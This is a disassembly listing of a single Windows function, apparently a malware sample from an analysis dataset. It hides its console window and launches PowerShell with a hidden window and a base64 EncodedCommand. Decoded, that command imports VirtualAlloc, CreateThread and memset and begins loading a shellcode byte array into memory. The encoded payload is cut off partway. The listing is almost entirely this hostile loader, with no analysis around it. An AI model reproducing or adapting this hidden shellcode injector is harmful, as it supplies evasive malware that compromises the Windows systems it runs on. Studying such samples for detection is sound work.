Function at 0x140001450
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str.powershell__window_hidden__EncodedCommand_JABTAFIARAAgAD0AIAAnACQATQBhAHUAIAA9ACAAJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwAQQBsAGwAbwBjAGEAdABpAG8AbgBUAHkAcABlACwAIAB1AGkAbgB0ACAAZgBsAFAAcgBvAHQAZQBjAHQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABBAHQAdAByAGkAYgB1AHQAZQBzACwAIAB1AGkAbgB0ACAAZAB3AFMAdABhAGMAawBTAGkAegBlACwAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAUABhAHIAYQBtAGUAdABlAHIALAAgAHUAaQBuAHQAIABkAHcAQwByAGUAYQB0AGkAbwBuAEYAbABhAGcAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBtAHMAdgBjAHIAdAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAbQBlAG0AcwBlAHQAKABJAG4AdABQAHQAcgAgAGQAZQBzAHQALAAgAHUAaQBuAHQAIABzAHIAYwAsACAAdQBpAG4AdAAgAGMAbwB1AG4AdAApADsAJwAnADsAJAB3ACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQATQBhAHUAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZABiACwAMAB4AGMAZAAsADAAeABkADkALAAwAHgANwA0ACwAMAB4ADIANAAsADAAeABmADQALAAwAHgANQBhACwAMAB4ADMAMQAsADAAeABjADkALAAwAHgAYgAxACwAMAB4ADQAYgAsADAAeABiAGUALAAwAHgAZAA3ACwAMAB4ADYANQAsADAAeABmAGMALAAwAHgAMgBmACwAMAB4ADMAMQAsADAAeAA3ADIALAAwAHgAMQA3ACwAMAB4ADAAMwAsADAAeAA3ADIALAAwAHgAMQA3ACwAMAB4ADgAMwAsADAAeAAzAGQALAAwAHgAOQA5ACwAMAB4ADEAZQAsADAAeABkAGEALAAwAHgAMwBkACwAMAB4ADgAYQAsADAAeAA1ADAALAAwAHgAMgA1ACwAMAB4AGIAZAAsADAAeAA0AGIALAAwAHgAMABmACwAMAB4ADEANwAsADAAeAA2AGYALAAwAHgAYwAyACwAMAB4ADIAYQAsADAAeAAzADMALAAwAHgAMAA0ACwAMAB4ADgANwAsADAAeAA4ADQALAAwAHgAMwA3ACwAMAB4ADQAOAAsADAAeAAyADQALAAwAHgANgBlACwAMAB4ADEANQAsADAAeAA3ADgALAAwAHgAYgBmACwAMAB4ADAAMgAsADAAeABiADIALAAwAHgAYgAxACwAMAB4ADQAMAAsADAAeABlAGQALAAwAHgANwA1ACwAMAB4AGYAYgAsADAAeAA5ADgALAAwAHgAYwAzACwAMAB4AGIAOQAsADAAeAA1ADcALAAwAHgAZAA4ACwAMAB4ADQAMgAsADAAeAA0ADYALAAwAHgAYQA1ACwAMAB4ADAAZAAsADAAeABhADUALAAwAHgANwA3ACwAMAB4ADYANgAsADAAeAA0ADAALAAwAHgAYQA0ACwAMAB4AGIAMAAsADAAeAAzADEALAAwAHgAMgBlACwAMAB4ADQAOQAsADAAeAA2AGMALAAwAHgANABhACwAMAB4ADgAMgAsADAAeAA4ADUALAAwAHgAYwA2ACwAMAB4AGMANwAsADAAeAA2ADEALAAwAHgAOQBhACwAMAB4AGUAOQAsADAAeAAwADcALAAwAHgAZQBlACwAMAB4AGEAMgAsADAAeAA5ADEALAAwAHgAMgAyACwAMAB4ADMAMQAsADAAeAA1ADYALAAwAHgAMgBlACwAMAB4ADIAZAAsADAAeAA2ADIALAAwAHgAYwA3ACwAMAB4ADIANQAsADAAeAA2ADUALAAwAHgAOQBhACwAMAB4ADYAMwAsADAAeAA2ADEALAAwAHgANQA1ACwAMAB4ADkAYgAsADAAeABhADAALAAwAHgAMQA3ACwAMAB4ADUAYwAsADAAeABlAGYALAAwAHgANwBhACwAMAB4ADIAOQAsADAAeABhADEALAAwAHgANQA5ACwAMAB4ADAAOAAsADAAeAA3AGQALAAwAHgAZAA2ACwAMAB4ADUAYgAsADAAeABkADgALAAwAHgANABmACwAMAB4ADIAOAAsADAAeABmADcALAAwAHgAMgA1ACwAMAB4ADYAMAAsADAAeABhADUALAAwAHgAMAA5ACwAMAB4ADYAMQAsADAAeAA0ADcALAAwAHgANQA1ACwAMAB4ADcAYwAsADAAeAA5ADkALAAwAHgAYgBiACwAMAB4AGUAOAAsADAAeAA4ADcALAAwAHgANQBhACwAMAB4AGMAMQAsADAAeAAzADYALAAwAHgAMABkACwAMAB4ADcAZAAsADAAeAA2ADEALAAwAHgAYgBkACwAMAB4AGIANQAsADAAeAA1ADkALAAwAHgAOQAzACwAMAB4ADEAMgAsADAAeAAyADMALAAwAHgAMgA5ACwAMAB4ADkAZgAsADAAeABkAGYALAAwAHgAMgA3ACwAMAB4ADcANQAsADAAeABiAGMALAAwAHgAZABlACwAMAB4AGUANAAsADAAeAAwAGQALAAwAHgAYgA4ACwAMAB4ADYAYgAsADAAeAAwAGIALAAwAHgAYwAyACwAMAB4ADQAOAAsADAAeAAyAGYALAAwAHgAMgA4ACwAMAB4AGMANgAsADAAeAAxADEALAAwAHgAZgA0ACwAMAB4ADUAMQAsADAAeAA1AGYALAAwAHgAZgBjACwAMAB4ADUAYgAsADAAeAA2AGQALAAwAHgAYgBmACwAMAB4ADUAOAAsADAAeAAwADQALAAwAHgAYwBiACwAMAB4AGMAYgAsADAAeAA0AGIALAAwAHgANQAzACwAMAB4ADYAYgAsADAAeAAzADQALAAwAHgAOQA0ACwAMAB4ADUAYwAsADAAeAAzADEALAAwAHgAYQAzACwAMAB4ADUAOAAsADAAeAA5ADAALAAwAHgAYwBhACwAMAB4ADMAMwAsADAAeABmADcALAAwAHgAYQAzACwAMAB4AGIAOQAsADAAeAAwADEALAAwAHgANQA4ACwAMAB4ADEAZgAsADAAeAA1ADYALAAwAHgAMgBhACwAMAB4ADEAMQAsADAAeABiADkALAAwAH
lea r8, str.powershell.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0
call sym.exit
nop
nop
nop
nop
nop
nop
nop